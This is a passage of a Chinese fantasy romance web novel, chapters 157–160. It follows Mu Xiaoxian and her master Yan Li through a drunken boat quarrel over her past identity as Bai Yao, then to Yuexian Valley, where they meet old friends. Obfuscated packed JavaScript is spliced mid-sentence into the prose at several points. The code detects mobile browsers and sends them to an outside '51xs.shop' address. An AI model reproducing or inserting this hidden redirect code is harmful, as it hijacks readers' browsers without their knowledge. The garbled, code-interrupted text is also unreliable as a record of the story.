l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137821|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声。 良久,晏离道:“我煮了鸡茸粥。” 话说一半没了下文。 若是往日,慕小闲一听鸡茸粥是要从床上跳起来的,但此时虽然她腹中空空,口中却甚是寡淡。 晏离又道:“出来吃一点吧。”语气中染上了一丝不易察觉的恳求。 他越是反常,慕小闲越是心里不痛快。他为她受了那么多委屈,却又不是为了她。 可是如今叫她怎么办?她不想让晏离受伤,于是就将那把刺向晏离的刀刃对着自己吗?她又做错了什么? “我不想吃。”慕小闲道。 仅仅几天的时间,两人的位置已然调换,想要回避的慕小闲和向她靠近的晏离之间,此时如同有一道时间与偏见的天堑。 她看不清晏离的神色,却感受到那道清冷的身影透着一丝难以言喻的悲凉,让她不禁喉头一哽,想要收回这句话。可晏离清瘦的身影晃然一退,竟然退出了她的视线,她望着门外空荡荡的一方景物渐渐红了眼眶。 不多时,门外飘进来一丝/诱人的香气,慕小闲贪婪地深吸几口气,腹中传来一连串的咕噜声。她有些难堪的捂上肚子,默念道,你争气一点。 晏离端着冒着热气的碗走进来,慕小闲咽了咽喉咙,控制不住眼巴巴地望过去,待晏离看过来时赶紧收回目光,心想自己这是在闹什么别扭,怎么能和鸡茸粥过不去呢。 晏离动作自然地坐在了床边,舀了一勺,轻轻吹了吹,不顾慕小闲满目纠结,将勺子递到了她的唇边。 慕小闲拧着眉,一副宁死不屈的模样,张口道:“你这是做什么?我都说了我不......唔唔唔......”滚烫的粥从喉头一路滑进了胃里,腹中被久违的温暖包裹,热气熏红了她的眼睛,她抬头一眼望进晏离的眼睛:“你怎么能耍无赖呢?” 晏离像是没有听到一般又舀起一勺,喂到她的唇边,但若仔细观察,便会发现他的眼神并非如此坚定,而是带着小心翼翼地试探。就是这般小心翼翼的神情,像根针扎进了慕小闲的心里。 晏离那么清高的人是不该露出这种神情的。 她想起先前与晏离共处时的诸多情景,或许晏离心中也是如此忐忑不安,可她从来没有察觉。思绪混乱时,她不由自主地吞了几口粥,忽然惊觉自己还在和晏离赌气,伸手想要从他手中接过碗。 晏离却轻而易举地化解了她的进攻,如行云流水一般又将盛满了粥的勺子递到了她的唇边。 如此反复了几次,慕小闲越来越气,终是拧起眉狠狠瞪向他:“晏离!你究竟要做什么?” 瓷勺叮当一声落入碗中,不知何时碗里的粥已经所剩无几。 晏离淡淡看了她一眼,竟然不为所动地起身翩然向门外走去。 慕小闲眨了眨眼睛,不明白他为何突然变得如此无赖,碍于自己在与他置气,就算心里将他骂了个底朝天,也没有多发一言。 158. 第 158 章 脱离了囚仙链的束缚,晏离终于能在慕小闲修炼时常伴左右。 慕小闲就像突然增加了一名看堂老师,那条困住晏离上千年的绳索好像在他挣脱的那一刻,绑在了她的心上,让她近来压抑得喘不过气。 剑花凌空一挽,虚空中接连炸开数朵冰花,冰棱刺穿树干,大树轰然倒塌。 但树干断裂处,裂口参差不齐,断得不干不净。 这剑法她练了许久,看似简单的招式,总是使得不够漂亮。 “这里须再用上三分力。”晏离的眸子落在慕小闲握剑的手腕上,那只因练习过度有些红肿的手腕无力地垂在她身侧。她的凡人之躯,与阿筝的内丹融合得再好,也很难克服先天条件。 “我教你......"晏离伸手欲从她手中取过剑,不料慕小闲在他即将触碰到自己时突然闪开。 他抬眼看她,见她神色不对:“怎么?” 慕小闲目光闪烁,飘向别处:“我累了。我今天想休息。”说完,不敢多看晏离一眼,便虚化了那把剑,几步飞跃离开原地。 她不知该怎么办。 她没办法像以前一样面对晏离,也没办法像以前一样面对自己。 她飞跃山林,越过川谷,将一切抛诸脑后,什么也不愿想,什么也不想接受。 入夜,慕小闲屈膝坐在一处不知名山间的小河边,抱着双臂望着水中倒映的一抹月色发呆。月影朦胧,水波摇荡,柔风轻拂林梢,偶尔传来几声幽幽虫鸣。 水波之中她的面容越发俏丽,眉眼与晏离记忆中的白瑶渐渐有了相似之处,越看越像,越看越是早有端倪。慕小闲心里一惊,随手抓起几粒碎石投入水中。 倒影一荡,水面缓缓归于平静。 忽闻河道上传来一声悠扬的曲调,空灵婉转、和缓绵长。她抬头寻声望去,一只小木舟摇摇晃晃从远处驶来。那支清幽的曲调就是来自舟上,随之而来的还有一丝淡淡的酒香。 小木舟从河道驶过,渐渐经过她身旁,曲调一顿,一坛子酒从小舟上抛过来。慕小闲伸手接住,仔细一闻酒香,沉闷的情绪被冲淡了几分。她深吸一口气,牵起唇角,冲小舟喊道:“湖光月色相伴,佳曲美酒相随。师父好兴致。” 慕小闲提着酒坛纵身一跃,如蜻蜓点水一般落在舟头。小舟只有巴掌大,船舱里有一方小桌几,地上排了一排酒坛。 清风拂面,在水面扬起层层涟漪,引起小舟摇摇晃晃。晏离如白鹤屹立在幽暗处,含上手中的叶子,将那首清幽的调子又接了下去。 小舟缓缓前行,悠扬曼妙的曲调与潺潺流水融合在一起,在阒静的林中回荡。慕小闲坐在船舱内,手指一挑,酒坛中晶莹剔透的酒液倾泻而出,在空中划出一道弧线落入桌几上的碗中。醇香的酒气扑面而来,酒液在小舟的摇晃颠簸中溢出,洒在桌上、地上,让舟上弥漫的酒气更加浓烈。 慕小闲望着晏离的背影衔了口酒,辛辣的滋味从喉头一路烧进了心中。她顿了一下,喉头一滚,将碗中剩下的酒一饮而尽,又斟上一碗。 一曲终了,晏离将叶子轻轻放入水中。青翠的叶子静静漂浮在如镜子般的水面上,与小舟渐行渐远。 慕小闲抬眼朦胧地望着他:“怎么不吹了?” 晏离面上浮现淡淡笑意,带着三分无奈:“你真将我当做助兴的乐师了?” 慕小闲酒气上涌,但头脑尚且还算清明,舔了舔唇:“我肯定不敢。再说,寻常乐师的技艺哪能比得上你。” 晏离走进船舱坐在她身侧,斟上一碗酒放置桌上,一双眸子在暗处望着她。 不知为何,气氛有些温热,慕小闲搁下手中的酒碗,想起早上发生的事情,神情有些不自然,低笑道:“怎么突然想起泛舟饮酒了?” 幽暗中,晏离清冷的眼眸一眨不眨地看着她,轻声说:“这酒......我许多年没有碰过。” 慕小闲垂眸落在酒坛上,喃喃道:“既然许多年没有碰过,为何现在改变主意了?” 晏离举起酒碗放在唇边,仰头一饮而尽,喉头滚动,放下空碗哑声道:“因为忍不了了。”说的是酒,但深远的目光却像有弦外之音。 慕小闲在他的灼灼眸光下屏住呼吸,船舱内实在太闷,她想要出去透口气。她欲起身,手被牵住,她心里一紧,垂眸望向两人相握的手。 晏离随即放开她:“陪我坐会儿。”语气温和,让人没有拒绝的余地。 慕小闲呼吸急促了几分,又坐了回去,目光并不看他,低头浅浅地嘬了几口,心里的不安越发躁动起来。 小舟一路摇摇晃晃,两人虽然不十分靠近,衣衫却在晃荡中产生了细微的厮磨。 “接下来你想做什么?”晏离问。 慕小闲如梦初醒一般,抬眸看向晏离,又敛眉垂眸思忖道:“不知道,我现在乱的很。” “你这次闯进长乐宫与他们正面冲突,打了他们一个措手不及,他们很快就会反应过来。”晏离看向她:“虽然我不想理会魔族,但你既已卷进去,我们就没有退路。” 慕小闲思绪又繁杂起来,冥思苦想道:“或许将现在的青丘之主是假的这个消息放出去,先将这一池子水搅乱。” “消息放出后呢?” 慕小闲顿了一下:“假青丘之主的消息放出去后,就算传播得再广,大家也只是当做是谣言,没有人能够证实这件事。就算有人真的信了白瑶是假的,也不会将我当成是真的。”她心里对自己曾经是白瑶尚有几分抵触,于是扯了一下嘴角,带着戏谑的口气说:“没有人能证明我是白瑶。” “有人能够证明。” 慕小闲不以为然:“谁?阿筝?他都自身难保了。” 晏离垂眸:“白瑶从来都不是一个人,她有很多爱她拥护她的人。” 慕小闲从小孤僻惯了,听了这话心里有些不舒服:“或许吧。” 见晏离没有继续反驳,慕小闲烦躁地举起酒碗,将碗中剩下的酒液一饮而尽:"消息一旦传出,天庭一定会派人来一探究竟。殷乐和苏怜漪在青丘这么多年,暗中做了许多文章,我想看看他们到底想做什么。天庭派人来探青丘之主的虚实,我就借此探一探魔域的虚实。” 晏离浅浅地点了下头:“我陪你。”又为她斟上了满满一碗。 微风扬起慕小闲的发丝,温热的酒气上涌,她眼底已浮现一层淡淡的迷离之色,望着晏离忽而笑了一下,笑容带着一丝天真的甜意:“师父,你该不会想把我灌醉行不轨之事吧?” 晏离放下酒碗,声音不自觉地低了几分:“若我说是呢?” 慕小闲不信,又傻傻地笑起来:“不用灌醉,我很主动的。” 暗处,看不清晏离的神情,微风送来了一句轻叹:“你呀......什么时候才能长大......” 慕小闲挺起胸,不满地说:“早就长大了好不好。” 晏离没有出声。 慕小闲拧眉喝了几口闷酒,将酒碗往岸上一扔,沧的一声,碗四分五裂。 林中隐隐出现了几点漂浮的亮光。 慕小闲心里一动,趴在船舱边向林子里眺望,目光随着亮光飘向远处,又坐回晏离的身侧拉了拉他的袖子,小声问:“那是萤火虫吗?” 晏离瞥了一眼她攥着自己袖子的手,目光与她一双迷离的眼眸相触,一时有些迷失其中。 几点亮光在林中若隐若现,忽然又看不见了。 慕小闲送开手,失落地说:“他们飞走了。” 晏离扬袖,指尖轻轻在空中画了一个圈。 须臾,山林里依旧幽黑一片,没有动静。慕小闲轻哼一声:“什么嘛,什么都没发生。” 晏离在她耳边低声说:“仔细看。” 林中隐隐传来些细微的嗡鸣。 慕小闲睁大眼睛望着,忽然,黑暗深处冒出了几点熹微的亮光。慕小闲神情一顿,眼中继而迸发出欢喜的光芒,又看到小舟附近冒出了几点亮光,渐渐地,水面上相继出现了星星点点,忽明忽暗,像一个个漂浮的小灯笼。 幽暗的水面泛起了暖色的光辉,小舟顺着水波在萤火虫的原野间漂流。 “好美。” 黑暗中的光虽然微弱,但却有一股生机勃勃的力量。慕小闲望着亮光发呆,不自觉地往晏离那边靠了靠。晏离垂眸望着身侧的她,眼中哪还有往日的冷淡疏离。 慕小闲从脚边摸索出一坛酒,拔开酒塞,酒香四溢,她刚要仰头,手上突然一空。 她心中升起一股燥意,拧眉扭头瞪向始作俑者:“做什么抢我的酒?” “你酒量太差,今日不可再饮。” 慕小闲伸手去抢:“小气鬼,谁说我酒量差?我是想醉罢了。” 两人在狭小的船舱内徒手过起招来,晏离一手拎着酒坛,一手应付慕小闲的攻击,眸色深沉,面色不改:“为什么想醉?” 慕小闲停了下来,咬了咬唇,朦胧的眼睛一眨不眨地望着晏离,像是有很多话欲言又止。 “为何不高兴?” 慕小闲眸光一变,忽然手上发力,大声嚷道:“我刚刚得知自己前世的纠葛,还是那么复杂的故事,我怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137822|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么可能高兴得起来?” 她一击掀起千层浪,湖面啪啪几点水波接连炸开,惊扰了漂浮的萤火虫,向四周散去。 晏离跃出船舱,踩在舱顶上,居高而下望着从船舱跑出来的慕小闲,神色不明。 慕小闲站在舟头,抬头望向晏离,身后的长发随风飘散。她的身影倒映在昏暗的湖中,显得脆弱又独立,就像一只闪烁着微光的萤火虫,用尽了力气发光发热,但在无尽的黑暗中依旧微不足道。 “你和阿筝都希望白瑶回来对不对?”萤火虫猛然亮了几分,慕小闲一掌扫过,晏离跃起,躲过了她的掌风,在湖面轻点,跃上了岸边。 一叶孤舟仍在漂泊。她站在舟头,与晏离隔水相望。 “那我呢?我要去哪里?”她艰涩的声音从河道上传来,让晏离心中一痛。 “如果白瑶回来占据了我的身体,将我挤走了,那和殷乐当年取代白瑶有什么区别?” 慕小闲腾空而起,扬袖一挥,哗哗水声大作,她竟然对晏离出手了! 砰砰几声,水花四溅,水雾之后慕小闲大打出手。河面不再平静,掀起了层层汹涌的波涛,水花像炮弹一样铺天盖地向着晏离落下。 晏离在她的攻击中躲闪,须臾,衣衫尽湿。 早知她酒品如此差,就不应该让她沾酒。 慕小闲发泄片刻,见晏离没有出手,觉得索然无味。在她停下的片刻,晏离轻盈地跃上小舟,伸手将她揽进怀中。 他的衣服湿透了,贴在身上勾勒出清瘦但不单薄的身型。慕小闲觉得一阵酒意上头,身上软弱无力,脸上更加红的发烫。 她将脸埋进晏离的怀中蹭了蹭,蹭的发丝也沾上了湿意:“你故意的。你早就想抱我了对不对?” 头顶传来一声淡淡的:“嗯。” 慕小闲依旧紧紧贴着他,闷声道:“我不是你的白瑶。我不想做白瑶,我只想做逍遥自在的慕小闲。” 晏离的手收紧了一点,轻轻应道:“不做就不做。” 慕小闲心里不踏实,从晏离的怀中探出头,戳了戳着他的胸膛:“如果你不让我做慕小闲,我就离开这里。” 晏离身上一僵:“你又要去哪里?” “总会有我容身之处的……” 慕小闲瞳孔陡然放大,眸中晏离忽然低头,与她只有分毫之隔。 他独有的清香萦绕在鼻尖,随着晏离的靠近,慕小闲迷失在他如雾般的眼眸中,心里好似瞬间被一种温暖的喜悦填满,比酒还要醇香浓烈,让她浑身血液沸腾,想要更多。 晏离的眸光落在她的唇上,片刻,他眼中划过一丝挣扎,退后一步,拉开了距离。 那股清香随之消散。 慕小闲心里一空,像是从高空跌落,眼神染上了几分失落。 晏离放开她,目光依旧与她紧紧纠缠,声音隐隐带着紧张:“这里就是你的容身之处。” 慕小闲原本不过是随口一说,但随着晏离适才的失控,此时仿佛被兜头泼了一盆凉水,从昏昏沉沉中清醒了过来。她深吸一口气,脸色冷了下来:"你知道我是谁吗?” 慕小闲的眼神冰冷如刀,疏离的语气亦刺痛了晏离,那双平静无波的眼眸闪过一丝慌乱:“闲儿......我一直都知道你是谁。” 慕小闲咬着唇沉默了半晌,终于问出了她一直想问但不敢问的问题:“如果不是白瑶,你会这样对我吗?” 如果她不是白瑶,现在还在凡间读书,不会被牵扯进神的世界。不会来到青丘,更不会遇见晏离。 晏离凝眉望着她:“闲儿,你失去了作为白瑶时的记忆,对她的一切很陌生,但你们本就是同一个人。 “她不会侵占你,也不会赶走你,她是你的一部分。” 慕小闲垂眸喃喃:“我的一部分......”尊贵、明媚的白瑶,会是她这个小小凡人的一部分吗? 晏离放低了声音:“闲儿,不论是青丘之主白瑶还是白日升天的慕小闲,从始至终,都只有一个你。我从未认错。” 慕小闲的眼睛蓦地涌上一股酸涩,好似先前所有的纠结和委屈在一刻爆发。她带着鼻音,抬眼问:“真的吗?” 晏离似有几分无奈:“还要如何证明才能相信我?” 慕小闲终于平静下来,她忽然觉得上天对她还不算坏得彻底,至少,至少她还有晏离。 夜里山中沉寂,小舟在恢复平静的河面上缓缓滑行,追着水中的月色落下长长的水迹。 天空星辰闪烁,偶有几点萤火虫在林中游荡,不知飘向何方。 159. 第 159 章 一万年前神魔大战,打破了原本三分天界的格局,魔域战败之后迅速萧条,青丘虽未参与其中,但因天庭日渐强势,也落得一个尴尬地位。后来魔域铤而走险替换白瑶,占据青丘资源,无非是想卷土重来。 天下没有不透风的墙,总有些闲来无事的人喜欢顺藤吃瓜。寻常的小道仙闻,是人们走街串巷、茶余饭后的谈资,如今却有一神秘的坊间传闻,犹如暗处的老鼠走遍了大街小巷。 起因是这一段时间发生的一系列怪事。夜深人静,当天界这帮仙人和衣而睡,半梦半醒间,突然听到窗外幽幽飘来一句:“你知道吗?如今的青丘之主是假的。” 仙人们惊得起床打鬼,但追至屋前没有半个鬼影。他们虽百思不得其解这种毫无根据的传言是从何而来,但不影响信息的传播速度。诡异的现象很快从鬼传人,进化成为了人传人,成为了一种街头巷尾的心照不宣的暗号。 人们总是神神秘秘地出现在人烟稀少的角落,环顾四周,故意装作不经意的样子,压低了声音说:“听说了吗?现任青丘之主是假的!” 越是离奇的事情,越能引起大家的兴奋。越是匪夷所思的事情,大家越是深信不疑。 对于天界大部分吃瓜群众来说,平时根本没人关心青丘之主究竟是谁,但一听说她是假的,心中便陡然升起一团正义的火焰,非要将此事深究到底不可。 天下没有不透风的墙,也没有毫无根据的瓜。 青丘之主居然是假的!这怎么能行? 一时间流言四起,在天界逐渐形成气候,一发不可收拾。 听闻近来天庭书信给青丘,欲派使者出使,想来也是听到些消息,想来探一探真假。 慕小闲不会坐以待毙任人宰割,以她唯恐天下不乱的性子,不可能让殷乐继续安稳地坐在青丘之主的位子上。人言可畏,殷乐和苏怜漪忙于应付舆论,就算不被扒一层皮,一时也无暇顾及她。 现下慕小闲不仅实力与殷乐相差较大,他们之间还存在着严重的信息鸿沟。殷乐掌握着魔域和青丘两方的资源,而慕小闲的信息渠道可以说一无所有。她只能靠着仅有的线索,推测魔族会从何处下手。 若让她站在魔域的角度,想要攻略青丘,必然会通过两地边界。 如此一来,果真让她找到位于青丘与魔域之间的一处隐蔽山谷,离当年在花神山发现魔族踪迹的位置仅隔了三千里。 竹屋外,晏离念了一句口诀,一朵白净的祥云悠然飘落于他们的脚边,亲昵地蹭了一下慕小闲的裤脚。 晏离不赞同地看了它一眼:“清云。”祥云立刻端正严肃地后退半步,原来它竟有如此雅致的称呼。 慕小闲望着清云,突然想起当年她与白衣在北溟之上,这朵祥云初见她也是这般样子。都说祥云会沾染主人的心性,果然晏离在那时对她就...... 慕小闲用余光偷偷瞄了他一眼,在被晏离察觉之前,装作若无其事地登上祥云。 清云缓缓升起,竹屋渐渐缩小。 祥云明明可以自由伸缩,但此时却只有巴掌大。晏离直视前方,将清冷的背影留给她,她望着那一袭白得耀眼的衣袍发呆。 这是她第一次和晏离一同出行,之前不知道各自身份不能作数。 她看得久了,灼灼目光让晏离无法忽视,于是侧过头带着询问的神色看了她一眼。 慕小闲被抓包,不自然地挪开目光:“这云真方便,什么时候我也能有一朵自己的祥云?” 晏离:“你若是喜欢......” “回来之后我教你如何召唤,若是有祥云想要跟随你,它便会自己来找你。” 清云一听慕小闲踩在自己身上时,竟然还想着别的祥云,忽然减速,再猛地一加速,将她差点甩飞出去。 慕小闲惊魂未定,双手扒拉着晏离衣袖,环抱在晏离身侧。一抬头,看见晏离侧过头目光沉沉地望着她,心里又是一抽。她怎么感觉这朵祥云好像变得更小了? “我不是故意的。”天地可鉴,刚才她可没有半点非分之想。 晏离云淡风轻地应了一声。 花神村的稻田一晃而过,通往花神庙的小路上零星有几个来往的行人,不远处村子笼罩在一片宁静祥和之中。 花神山向南又行半日,丛山之间猛然陷入了一个幽幽深谷。深谷在山间像一只血盆大口,谷底被郁郁葱葱的大树掩盖,一片深邃的绿将谷底包裹得密不透风。再向南望去,便是大片寸草不生的荒芜之地,弥漫着令人不悦的气息。 “那里就是魔域?”慕小闲与晏离伫立在半空,她遥遥望着远处惨淡的景象,心想之前看的小说诚不欺我,这就很魔域。若是再有几只长得面目全非的魔兽,便更加符合魔域的声名。 晏离答道:“是魔域与外界相隔的边境,穿过这片荒地才能到达魔域。” 慕小闲点点头,忽然风中传来一阵浓郁诱人的香气,她仔细嗅了嗅,眸子一亮:“这附近有特别的气息!”慕小闲与晏离顺着这股气味降落谷底。 在潦草树林掩盖之下,地上渐渐出现了一条蜿蜒的小径,越往深处去越平坦开阔。没想到这险峻的山谷中不仅藏着人,而且还是很多人。 木头支起的牌匾上镌刻着几个大字:“越仙谷。”不远处鳞次栉比的木屋累成一线,几条宽阔长街在山间纵横而过。 慕小闲正要向前,忽然被晏离拦住,顺着他警觉的目光看去,一张通缉令被钉在牌匾之后的木桩上。 重金悬赏!此女凶恶,请勿靠近! 上面画着的正是慕小闲当年初入青丘时的样貌。 慕小闲莫名其妙,她怎么就凶恶了? 这副通缉令十之八九是长乐宫里发出的,殷乐和苏怜漪一定是猜到近来真假青丘之主的传闻和她有关,所以用这种方式搜捕。可如今她的样貌已经发生了变化,现在的容貌和当今青丘之主大为相似,如若用现在的画像,那便让匪夷所思的传言更加雪上加霜,所以这画像用的还是当年的模样。 可是她再怎么凶恶也比不上一言不合就大开杀戒的魔族吧! 突然画像上的人转了一下眼珠,目光犀利地向她看来。慕小闲倒吸一口冷气,赶紧做了一个鬼脸。 画像上的人开口,发出僵硬的声音:“发现可疑人物,相似度......” “相似度......” “相似度叁分,未达标准,不予上报。” 慕小闲松了口气,遮脸后退几步,看来是个自动识别报警器,若是她不注意就会直接暴露位置。这偏远的边境山谷都设置了识别装置,看来现在青丘境内已经布满了眼线,必须加快行动。 “咦?”一个年迈的声音在他们身后响起。 挽着竹篮子的老人站在他们身后,歪着头带着几分探究望着两人。她盘着头发,穿着朴素,篮子里零零散散装了几只蘑菇,和一束野花。 老人问道:“你们是来参加越仙大赛的选手吗?” 慕小闲与晏离对视一眼,越仙大赛是什么? 老阿婆见他们没有回答,皱了下眉,眯着眼睛再度用审视的目光暗暗打量着二人:“不对啊,笔试已经开始了,你们怎么才来?” 慕小闲心里盘算着该怎么回答,老阿婆突然舒展眉头,眼角露出了一丝笑意:“啊,你们是来观赛的吧?” 慕小闲迟疑了一下,点点头:“对,我们就是来观赛的,路上耽搁,晚到了一会儿。” 老阿婆不作他想,步履蹒跚地绕过他们,往寨子中走去,边走边说:“不算晚,笔试后两日才出成绩,越仙大赛开始前还有一日给参赛者做准备,你们来的正是时候。这几天寨子可热闹了,来了好多人,比往年人都多。” 慕小闲跟在她身后,问道:“比往年人多?” 老阿婆有些得意地说:“是啊,越仙大赛每八年举办一次,往年来深谷之中参赛的人约莫只有二三百人,观战者也不多。今年报名笔试者比往年翻了三倍,寨子里从来没来过这么多人,都快住不下了。不过,不论来了多少人,只有笔试前二十八名才有资格进入越仙大赛的决赛,多了我们也安置不了。” 慕小闲听明白了,越仙大赛是一种选拔比赛,通过了笔试还有决赛。 不知比赛的获胜者会有什么奖励,能吸引几十人来到这荒僻的山谷之中参加比赛。慕小闲变着法子问:“今年参赛人数增加,最后胜利者的奖励会有变化吗?” 老阿婆摇摇头道:“不,每次都是一样的。是一颗能够治愈伤病、激发仙力的转念宝珠。” 只是一颗能强身健体的石头?慕小闲隐隐有些失望。 老阿婆察言观色,看出她没多大兴趣,又上下打量了一眼一言未发的晏离,补充上一嘴:“不要小看了它的功效,关键时刻能救命的。” 慕小闲连忙应和:“是是是。”又问道:“这转念宝珠什么来头?” 老阿婆边走边思忖道:“还不是前些年寨子里有人在山谷中发现了一个灵石场,物华天宝,那里的灵石能量纯净自然,说是戴在身上能让人身心舒畅、好运连连,所以他开了一间珠宝铺,将灵石做成各种宝珠首饰,在寨子里卖的可好了,几乎人人一条。灵石场中能量最大的一颗被供奉山中不知名处,而比赛的奖品据说就是取自这颗灵石。” “不过我是不信这些的。”老阿婆缓缓向前挪去,低着头小声嘟囔道:“我活了这么多年虽然没出过越仙谷,却也知道这个地方在天界不过就是个犄角旮旯,哪有什么好东西会藏在这里。要是宝珠真有那么好,这地方早就被长乐宫里那帮人占了去了。反正我是不信的。” 老阿婆行动迟缓,慢慢吞吞地将他们带进了寨中房屋密集的街道。道路两侧铺排着一间间木屋,路上很安静,偶尔几个行人路过,冲老阿婆点点头,对慕小闲与晏离见怪不怪。 “这是来观战的客人?” “怎么今日才来?” “带他们去崇越楼吧,其他客栈都住满了。” 老阿婆将闹哄哄的人赶开:“一边去,我还需要你们说?” 慕小闲略微留意了一下,这几位寨中人脖颈或者手腕处都佩戴了相似的饰品,一种乌黑发亮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她用余光瞥了身侧一眼,晏离这样不染半分烟火气的仙人,若是和她一起被赶出寨子,白衣飘飘在前面跑,店小二在后头追的画面,简直不敢想象。 她晦涩地看向晏离,向他凑近些,压低声音问:“你有带钱吗?” 晏离云淡风轻地看了她一眼,手指从腰侧勾出一个沉甸甸的布袋,对店员说:“住店。”默了一瞬,又说道:“两间。” 看来是她多虑了。 店员接过袋子一看,乐呵呵地说:“不用这么多。不过,店里只有一间客房了。寨子中所有的客栈都住满了,仅剩这一间,两位能否将就一下?” 慕小闲的表情不自觉皱成了苦瓜样,这就是“但凡男女一同入住客栈,必然只剩一间”定律,没想到这么俗套的事情还真被她遇上了。 说起来,白瑶和晏离住过一间房,但慕小闲可没有。 店员的目光在两位神色复杂的客人脸上转了一圈,心里大致明白了怎么回事,于是说:“我先给二位开一间,如果有客人退房,再给你们开一间。” 慕小闲连连点头。 店员取了钥匙:“二楼尽头最后一间。” 正在这时,门外突然喧闹起来。 几个人影如一阵风从门口跑过,又过片刻,陆续有人挤进店里,将包袱往桌上一放,飞快倒了茶一口咽下。 “哎呀,今年这题太难了!”窗外传来一声抱怨。 桌边坐着人听了这话,搁下茶杯,对身旁的女孩说:“今年参赛人多,这题怕是要拉开差距。” “第五题你写了什么?我想了半个时辰,根本没法下笔。” “谁不是呢,那题干我都没搞明白,他们究竟想考什么?” “之前的例题都白做了,浪费时间!” “诶,不说了。店家,上两壶最好的酒,今天我们不醉不归!喝个痛快!” “喝喝喝!还能被一次考试打趴下了?喝!” 在参赛者吵吵嚷嚷的讨论声中,门口又出现了两个清瘦的身影,不似其他人一样议论纷纷,而是很安静地走向店里的角落,没有引起其他人的注意。 慕小闲本想转身上楼避开耳目,却在不经意间瞥见那两人时忽然停住,眼中划过一丝错愕。身前的晏离察觉到了她的异样,顺着她的目光侧身回望,也不由顿了一下。 那两个熟悉的身影居然是云魁和云姬。 多年未见,他们长高了一些,样貌没有太大的变化,但气质成熟了不少。 云魁察觉有人在打量他们,下意识将云姬挡在身后,犀利的目光与慕小闲探究的视线一撞,继而迸发出难以置信的色彩。 云魁向她奔来,几步停在她面前,上下仔仔细细地打量她,眼中的惊讶逐渐转化成了欣喜。 慕小闲伸手锤了一下云魁的肩骨:“怎么?不认识我了?” 云魁退后一步,瞅了她一眼,又抬头看了看晏离,略带疑惑的目光回到她身上:“慕小闲?你怎么......怎么变成这样了?” 160. 第 160 章 “小闲?”云姬跟在哥哥身后,也是惊讶地望着慕小闲。若不是云魁的语气十分肯定,她都不敢认了。 “你们也住这里?”慕小闲指了指上面。 云魁一愣,点点头。 有缘千里来相会。 这不是巧了。 几人的动静引起了店里人的注意,云魁上前挡住他们的视线,低声说:“我们上去说话。” 楼梯上二楼,一共有六间房,围成了一个圈。云魁与云姬的房间紧挨着,在二楼中间拐角的位置,左右的住客都还没有回来。 几人进了二楼最尽头的一间。 晏离在屋内设下一层屏障,云魁多看了他一眼,疑惑道:“这位我是不是之前见过?” 当年是白衣将云魁、云姬救出北溟海极,晏离对他们是再造之恩,但以晏离的性子必然不会在意这些,而他当年出手也只是为了慕小闲。 慕小闲没有暴露晏离的身份:“这是我师父晏离,他常年隐居青丘山林,已经上千年没有出山,这次是我央求他陪我来的,你肯定认错了。” “这样……”先前听慕小闲说过要来青丘拜师,云魁没有多想。 云魁又问:“我在越仙寨的门口看到了一张你的通缉令,我吓了一跳,这是怎么回事?” 云姬担忧地看向慕小闲,猜测道:“这里不是天庭的管辖范围,那张通缉令难道是从青丘发出的?” 慕小闲不想将云魁、云姬卷入纷争,于是弯了下嘴角,避重就轻道:“我来青丘之后和宫里的人有些纠葛,一时半会儿讲不清楚,以后再说。” 她不想说,云魁和云姬也没有多问,只道:“还好你现在和当年长的不大一样,没有被认出来吧?” “没。”慕小闲转而问道:“你们回天庭之后发生了什么?你们怎么会来这里?” 云魁、云姬回天庭后,暗中调查当年天后后花园里的荷花夭折一事。虽然时间久远,证据难找,但是只要是做过的事情就会留下蛛丝马迹。终于功夫不负有心人,让他们找到了证据,证明莲花并非云姬所折,而是有人栽赃。 经年已过,天后早已忘了这些陈年琐事,毫不在意地将他们打发回去。两人在天庭没有仙职,寸步难行,于是投靠了在符鸣上神座下修行的武凌。但符鸣上神不喜他们,连带着他手下的神官也不客气,他们怕给武凌添麻烦,所以想办法离开了天庭。 他们本想来青丘找慕小闲,但却不知道她在哪里,只好在青丘境内四处游走,打听消息。途中听闻越仙谷有一比赛,奖品是颗稀世宝珠,云姬便想来试试。 慕小闲眼珠一转:“那宝珠真有这么神?” 云魁解释道:“据说那颗宝珠能放大数倍仙力,效果显著。对天庭神官来说算不得什么,但对于我们这些小仙来说,是不可多得的宝贝。” 云姬点点头:“也能换钱。” 慕小闲听了眼前一亮:“能换多少?” 云姬茫然地眨了眨眼睛:“我......我也不知道。” 慕小闲:“哈哈我开玩笑的,我不会和你们抢。” 她说的也正是云魁想问的:“小闲,你也是来参加比赛的吗?怎么刚才笔试没看到你?” 慕小闲摇摇头:“说来话长,我只是刚巧路过,来看个热闹。” 云魁看了一眼旁边未发一言、身上透着寒气的晏离,压着声音问:“真的吗?你是不是被胁迫了?” 慕小闲哭笑不得:“真的。我没想到越仙谷这么热闹,想多留几天看完越仙大赛再走。你们笔试考的如何?有把握进决赛吗?” 云魁、云姬相视一笑,点了点头:“虽然题目很难,但是我们有信心。”两人比当年被困北溟海极时勇敢、自信了很多,就像珍珠经历了岁月的打磨,渐渐散发出了坚硬又柔美的光辉。 门外响起敲门声,继而传来店员的声音:”客人,有人提前退房了,就是东边第三间,我收拾一下就可以过去了。” 慕小闲心里松了口气,她不用纠结晚上如何面对晏离了。 暮色四合,街上点起了星星灯火。正如老阿婆所说,笔试结束之后,街上人头攒动,热闹非凡。 